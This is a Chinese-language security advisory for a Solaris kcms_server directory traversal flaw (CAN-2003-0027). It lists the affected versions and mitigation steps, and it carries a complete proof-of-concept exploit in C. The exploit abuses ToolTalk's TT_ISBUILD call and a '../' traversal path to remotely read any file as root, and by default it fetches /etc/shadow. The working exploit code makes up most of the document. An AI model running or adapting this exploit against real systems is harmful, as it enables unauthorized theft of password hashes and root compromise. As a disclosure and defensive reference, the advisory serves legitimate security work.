xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Sun Solaris kcms_server远程读取任意文件漏洞


发布时间:2003-01-24
更新时间:2003-01-24
严重程度:
威胁程度:读取受限文件
错误类型:输入验证错误
利用方式:服务器模式
CVE(CAN) ID:CAN-2003-0027

受影响系统
Sun Solairs kcms_server
    - Sun Solaris 9.0 x86
    - Sun Solaris 8.0
    - Sun Solaris 8.0 x86
    - Sun Solaris 7.0
    - Sun Solaris 7.0 x86
    - Sun Solaris 2.6
    - Sun Solaris 2.6 x86
    - Sun Solaris 2.5.1
    - Sun Solaris 2.5.1 x86
    - Sun Solaris 2.5
    - Sun Solaris 2.5 x86
详细描述
Kodak Color Management System (KCMS)是一组为不同设备和色彩空间提供色彩管理的API。kcms_server是一个守护进程,允许KCMS库函数访问远程主机的上的资料文件(profile)。

kcms_server提供的一个远程过程KCS_OPEN_PROFILE用来打开上述文件,但其实现中存在一个目录遍历漏洞,由于kcms_server是以root身份运行的,攻击者就可以远程读取任意文件。这些文件缺省位于/etc/openwin/devdata/profiles和/usr/openwin/etc/devdata/profiles 目录下。尽管kcms_server已经对profile文件名做了一些检查以确保不会发生目录遍历漏洞,但这些检查并不全面,因此利用ToolTalk数据库服务器的TT_ISBUILD过程调用在上述目录下创建子目录就可以绕过这些检查。

通过获取敏感文件,例如/etc/passwd或/etc/shadow,攻击者可能获取对系统的普通用户甚至root用户的访问权限。

要利用这个漏洞需要要求目标主机同时正在运行rpc.ttdbserverd服务。

测试代码
/****************************************************************/
/*   Copyright (c) 2000, 2003                                   */
/*   NSFOCUS INFORMATION TECHNOLOGY CO.,LTD.                    */
/*   All rights reserved.                                       */
/*                                                              */
/*   THIS IS UNPUBLISHED PROOF OF CONCEPT CODE OF NSFOCUS.      */
/*   THIS CODE IS FOR TEST PURPOSE ONLY AND SHOULD NOT BE       */
/*   RUN AGAINST ANY HOST WITHOUT PERMISSION FROM  THE          */
/*   SYSTEM ADMINISTRATOR.                                      */
/*                                                              */
/*   IT SHOULD NOT BE DISTRIBUTED IN ANY FORM WITHOUT EXPRESS   */
/*   PERMISSION FROM NSFOCUS SECURITY TEAM.                     */
/****************************************************************/
/*
* Proof of concept code for kcms_server arbitrary file retrieval vulnerability
* -----------------------------------------------------------------------
* Reference : Entercept - Sun Solaris KCMS Library Service Daemon Arbitrary
*           :             File Retrieval Vulnerability
*           : http://www.entercept.com/news/uspr/01-22-03.asp
*           :
*           : CERT VU#850785
*           : http://www.kb.cert.org/vuls/id/850785
* -----------------------------------------------------------------------
* Author    : NSFOCUS Security Team <security@nsfocus.com>
*           : http://www.nsfocus.com
* Maintain  : warning3 <warning3@nsfocus.com>
* Version   : 1.0
* Compile   : For x86/Linux
*           : gcc -static -Wall -pipe -O3 -o sun_kcms_getfile sun_kcms_getfile.c
*           :
*           : For SPARC/Solaris 7/8/9 (don't use -static because of -lnsl)
*           : gcc -Wall -pipe -O3 -o sun_kcms_getfile sun_kcms_getfile.c -lnsl
*           :
*           : strip sun_kcms_getfile
*           : mcs -d sun_kcms_getfile (only for Solaris)
*           :
*           :
* Tested    : Solaris 7/8 SPARC(should work for other version)
*           :
* Date      : 2003-01-23
* Revised   : 2003-01-23
*           :
* History   :
* -----------------------------------------------------------------------
*/


#include <pwd.h>
#include <stdlib.h>

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define PORTMAP
#include <rpc/rpc.h>

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>

/* ToolTalk defines and xdr functions */

#define INTTYPE         1
#define INTSIZE         2
#define TT_DBSERVER_PROG 100083
#define TT_DBSERVER_VERS 1
#define _TT_ISBUILD         ((u_long)3)


struct keypart {
    unsigned short      kp_start;            /* starting byte of key part */
    short       kp_leng;                     /* length in bytes */
    short       kp_type;                     /* type of key part */
};


struct keydesc {
    short       k_flags;                     /* flags */
    short       k_nparts;                    /* number of parts in key */
    struct keypart k_part[8];           /* each part */
};
struct keydesc;
typedef struct keydesc keydesc;

typedef struct keypart keypart;

struct _Tt_isbuild_args {
    char *path;
    int reclen;
    keydesc *key;
    int mode;
    int isreclen;
};
typedef struct _Tt_isbuild_args _Tt_isbuild_args;

bool_t
xdr_keypart(XDR *xdrs, keypart *objp)
{
        if (!xdr_u_short(xdrs, &objp->kp_start)) {
                return (FALSE);
        }
        if (!xdr_short(xdrs, &objp->kp_leng)) {
                return (FALSE);
        }
        if (!xdr_short(xdrs, &objp->kp_type)) {
                return (FALSE);
        }
        return (TRUE);
}

bool_t
xdr_keydesc(XDR *xdrs, keydesc *objp)
{
        if (!xdr_short(xdrs, &objp->k_flags)) {
                return (FALSE);
        }
        if (!xdr_short(xdrs, &objp->k_nparts)) {
                return (FALSE);
        }
        if (!xdr_vector(xdrs, (char *)objp->k_part, 8, sizeof(keypart),
                        (xdrproc_t) xdr_keypart)) {
                return (FALSE);
        }
        return (TRUE);
}

bool_t
xdr_Tt_isbuild_args(XDR *xdrs, _Tt_isbuild_args *objp)
{
        if (!xdr_string(xdrs, &objp->path, 1024)) {
                return (FALSE);
        }
        if (!xdr_int(xdrs, &objp->reclen)) {
                return (FALSE);
        }
        if (!xdr_pointer(xdrs, (char **)&objp->key, sizeof(keydesc),
                         (xdrproc_t) xdr_keydesc)) {
                return (FALSE);
        }
        if (!xdr_int(xdrs, &objp->mode)) {
                return (FALSE);
        }
        if (!xdr_int(xdrs, &objp->isreclen)) {
                return (FALSE);
        }
        return (TRUE);
}

struct _Tt_reply {
        int i1;
        int i2;
};

typedef struct _Tt_reply _tt_reply;

bool_t xdr_tt_reply(XDR *xdrs, struct _Tt_reply *objp) {

  if (!xdr_int(xdrs, &objp->i1))
    return (FALSE);
  if (!xdr_int(xdrs, &objp->i2))
    return (FALSE);
  return (TRUE);
}

/* KCMS defines and xdr functions */
#define    KCS_NETWORK_IO ((unsigned long)(100221))
#define    KCS_PROTOCOL_VERSION ((unsigned long)(1))
#define KCS_OPEN_PROFILE ((unsigned long)(1003))
#define KCS_CLOSE_PROFILE ((unsigned long)(1004))
#define KCS_READ_DATA ((unsigned long)(1005))

struct open_send {
    char *file_name;
    int oflag;
    u_long mode;
};
typedef struct open_send open_send;

struct open_reply {
    long acknowledge;
    long file_nbytes;
    long file_handle;
};
typedef struct open_reply open_reply;

struct close_send {
    long file_handle;
};
typedef struct close_send close_send;

struct close_reply {
    long acknowledge;
};
typedef struct close_reply close_reply;

struct read_send {
    long file_handle;
    long start;
    u_int nbytes;
};
typedef struct read_send read_send;

struct read_reply {
    long acknowledge;
    struct {
        u_int profile_data_len;
        char *profile_data_val;
    } profile_data;
};
typedef struct read_reply read_reply;


bool_t
xdr_open_send(register XDR *xdrs, open_send *objp)
{
    if (!xdr_string(xdrs, &objp->file_name, 256))
        return (FALSE);
    if (!xdr_int(xdrs, &objp->oflag))
        return (FALSE);
    if (!xdr_u_long(xdrs, &objp->mode))
        return (FALSE);
    return (TRUE);
}

bool_t
xdr_open_reply(register XDR *xdrs, open_reply *objp)
{
    if (!xdr_long(xdrs, &objp->acknowledge))
        return (FALSE);
    if (!xdr_long(xdrs, &objp->file_nbytes))
        return (FALSE);
    if (!xdr_long(xdrs, &objp->file_handle))
        return (FALSE);
    return (TRUE);
}

bool_t
xdr_close_send(register XDR *xdrs, close_send *objp)
{
    if (!xdr_long(xdrs, &objp->file_handle))
        return (FALSE);
    return (TRUE);
}

bool_t
xdr_close_reply(register XDR *xdrs, close_reply *objp)
{
    if (!xdr_long(xdrs, &objp->acknowledge))
        return (FALSE);
    return (TRUE);
}

bool_t
xdr_read_send(register XDR *xdrs, read_send *objp)
{
    if (!xdr_long(xdrs, &objp->file_handle))
        return (FALSE);
    if (!xdr_long(xdrs, &objp->start))
        return (FALSE);
    if (!xdr_u_int(xdrs, &objp->nbytes))
        return (FALSE);
    return (TRUE);
}

bool_t
xdr_read_reply(register XDR *xdrs, read_reply *objp)
{
    if (!xdr_long(xdrs, &objp->acknowledge))
        return (FALSE);
    if (!xdr_array(xdrs, (char **)&objp->profile_data.profile_data_val, (u_int *) &objp->profile_data.profile_data_len, ~0,
        sizeof (char), (xdrproc_t) xdr_char))
        return (FALSE);
    return (TRUE);
}




enum clnt_stat stat;
int debug = 0;


_tt_reply res;
struct timeval tm = { 5, 0 };
int sockfd;

void
usage (char *prog)
{
  fprintf (stderr, "Usage: %s -h host  [ -f filename ] [ -v ] [ -k ]\n\n", prog);
  exit (0);
}

int
resolv (char *host, long *ip)
{
  struct hostent *hp;

  if ((*ip = inet_addr (host)) < 0)
    {
      if ((hp = gethostbyname (host)) == NULL)
    {
      fprintf (stderr, "%s: unknown host\n", host);
      exit (-1);
    }
      *ip = *(unsigned long *) hp->h_addr;
    }
  return 0;
}

CLIENT *
rpc_connect (char *host, int port, int prog, int ver, int con_mode)
{
  CLIENT *client;
  struct sockaddr_in sa;
  AUTH *au;

  memset (&sa, 0, sizeof (sa));
  resolv (host, (long *) &sa.sin_addr.s_addr);
  sa.sin_family = AF_INET;
  sa.sin_port = htons (port);
  sockfd = RPC_ANYSOCK;
  if (con_mode == 1)        // udp mode
    client =
      clntudp_create (&sa, prog, ver, tm, &sockfd);

  else
    client =
      clnttcp_create (&sa, prog, ver, &sockfd, 0, 0);
  if (client == NULL)
    {
      clnt_pcreateerror ("   -> client create failed");
    }
  else {
    au = authunix_create ("localhost", 0, 0, 0, 0);
    client->cl_auth = au;
  }
  return (client);
}


/************************************************************************
* tt_isbuild()
************************************************************************/
_tt_reply *
tt_isbuild (char *path, CLIENT * cl)
{

  _Tt_isbuild_args isbulid_args;
  keydesc key;
  keypart k_part;
  
  isbulid_args.path = path;
  isbulid_args.reclen = strlen(path);
  k_part.kp_type=INTTYPE;
  k_part.kp_leng=INTSIZE;
  k_part.kp_start=0;
  key.k_flags=2;
  key.k_nparts=1;
  key.k_part[0]=k_part;
  isbulid_args.key = &key;
  isbulid_args.mode = 0x10000|2; /* ISINOUT*/
  isbulid_args.isreclen = strlen(path);

  stat = clnt_call (cl, _TT_ISBUILD,
            (xdrproc_t) xdr_Tt_isbuild_args,
            (caddr_t) & isbulid_args, (xdrproc_t) xdr_tt_reply,
            (caddr_t) & res, tm);

  if (stat != RPC_SUCCESS)
    {
      clnt_perror (cl, "clnt_call(isbuild)");
      return (NULL);
    }

  if(debug){
     fprintf (stderr, "* [isbuild] res.i1 = %d, res.i2 = %d! \n", res.i1, res.i2);
  }

  return (&res);
}



/************************************************************************
* kcms_openfile()
************************************************************************/
open_reply *
kcms_openfile (char *path, CLIENT * cl)
{
  
  open_send open_args;
  static open_reply clnt_res;

  
  open_args.file_name = path;
  open_args.oflag = O_RDONLY;
  open_args.mode = 0;
  
  stat = clnt_call (cl, KCS_OPEN_PROFILE,
            (xdrproc_t) xdr_open_send,
            (caddr_t) & open_args, (xdrproc_t) xdr_open_reply,
            (caddr_t) & clnt_res, tm);

  if (stat != RPC_SUCCESS)
    {
      clnt_perror (cl, "clnt_call");
      return (NULL);
    }

  if(debug){
     fprintf (stderr, "* [openfile] acknowledge = %ld, file_nbytes = %ld, file_handle = %ld! \n",
          clnt_res.acknowledge, clnt_res.file_nbytes, clnt_res.file_handle);
  }

  return (&clnt_res);
}


/************************************************************************
* kcms_readfile()
************************************************************************/
read_reply *
kcms_readfile (long handle, unsigned int bytes, CLIENT * cl)
{
  
  read_send read_args;
  static read_reply clnt_res;

  
  read_args.file_handle = handle;
  read_args.start = 0;
  read_args.nbytes = bytes;
  
  stat = clnt_call (cl, KCS_READ_DATA,
            (xdrproc_t) xdr_read_send,
            (caddr_t) & read_args, (xdrproc_t) xdr_read_reply,
            (caddr_t) & clnt_res, tm);

  if (stat != RPC_SUCCESS)
    {
      clnt_perror (cl, "clnt_call");
      return (NULL);
    }


  if(debug) {
      fprintf (stderr, "* [readfile]: acknowledge = %ld, profile_data_len = %d! \n",
          clnt_res.acknowledge, clnt_res.profile_data.profile_data_len);
  }

  fprintf (stdout, "---------------------------------------------------------------\n%s"
                   "---------------------------------------------------------------\n",
          clnt_res.profile_data.profile_data_val);

  return (&clnt_res);
}

/************************************************************************
* kcms_closefile()
************************************************************************/
close_reply *
kcms_closefile (long handle,  CLIENT * cl)
{
  
  close_send close_args;
  static close_reply clnt_res;

  
  close_args.file_handle = handle;
  
  stat = clnt_call (cl, KCS_CLOSE_PROFILE,
            (xdrproc_t) xdr_close_send,
            (caddr_t) & close_args, (xdrproc_t) xdr_close_reply,
            (caddr_t) & clnt_res, tm);

  if (stat != RPC_SUCCESS)
    {
      clnt_perror (cl, "clnt_call");
      return (NULL);
    }

  if(debug){
      fprintf (stderr, "* [closefile]: acknowledge = %ld\n", clnt_res.acknowledge);
  }
  return (&clnt_res);
}

int
main (int argc, char *argv[])
{
  extern char *optarg;
  CLIENT *cl;
  int i = 0, port = 0, connect_mode = 0 , ttdb = 1;

  char *host = "localhost";
  char *file = "/etc/shadow";
  char path[256];

  open_reply *openres;
  read_reply *readres;

  while ((i = getopt (argc, argv, "f:h:vk")) != EOF)
    switch (i)
      {
      case 'h':
    host = optarg;
    break;
      case 'f':
    file = optarg;
    break;
      case 'v':
    debug = 1;
    break;
      case 'k':
    ttdb = 0; /* Just get file without ttdb (if we have run the exploit once)*/
    break;

      default:
    usage (argv[0]);
      }
  if (argc < 2)
    usage (argv[0]);

  if(ttdb) {
        cl = rpc_connect (host, port, TT_DBSERVER_PROG, TT_DBSERVER_VERS, connect_mode);
        if (!cl) exit (0);
        tt_isbuild ("/etc/openwin/devdata/profiles/TT_DB/oid_container", cl);
    /*
        tt_isbuild ("/usr/openwin/etc/devdata/profiles/TT_DB/oid_container", cl);
    */
        auth_destroy (cl->cl_auth);
        clnt_destroy (cl);
  }

  cl = rpc_connect (host, port, KCS_NETWORK_IO, KCS_PROTOCOL_VERSION, connect_mode);
  if (!cl) exit (0);

  snprintf(path, 256 - 1, "TT_DB/../../../../../../../%s", file);
  path[255] = '\0';

  openres = kcms_openfile(path, cl);
  if(openres->file_handle < 0 ) {
    fprintf(stderr, "Open profile failer. Abort!\n\n");
    exit(-1);
  }else
    fprintf(stderr, "\n[%s : %s]\n", host, file);
  readres = kcms_readfile(openres->file_handle, openres->file_nbytes, cl);
  kcms_closefile(openres->file_handle, cl);
  auth_destroy (cl->cl_auth);
  clnt_destroy (cl);
  exit (0);
}

解决方案
* 禁止'kcms_server'服务。以Solaris 8系统为例:

  1. 转变成root用户
   $ su -
   #

  2. 禁止kcms_server的执行权限

   # chmod 000 /usr/openwin/bin/kcms_server

  3. 杀掉正在运行的kcms_server进程

   # ps -ef|grep kcms_server
     root  1485   157  0 15:57:02 ?        0:00 kcms_server
   # kill -9 1485 (上面的例子中,1485是kcms_server的pid)

  4. 编辑/etc/inetd.conf, 注释掉其中包含kcms_server的行:
  100221/1        tli     rpc/tcp wait root /usr/openwin/bin/kcms_server kcms_server
  将上面行变成:
  #100221/1        tli     rpc/tcp wait root /usr/openwin/bin/kcms_server kcms_server

  5. 重新启动inetd

   # ps -ef|grep inetd
   root   157     1  0   1月 14 ?        0:00 /usr/sbin/inetd -s
   # kill -HUP 157

相关信息
http://www.entercept.com/news/uspr/01-22-03.asp
中文摘自http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=4257&keyword=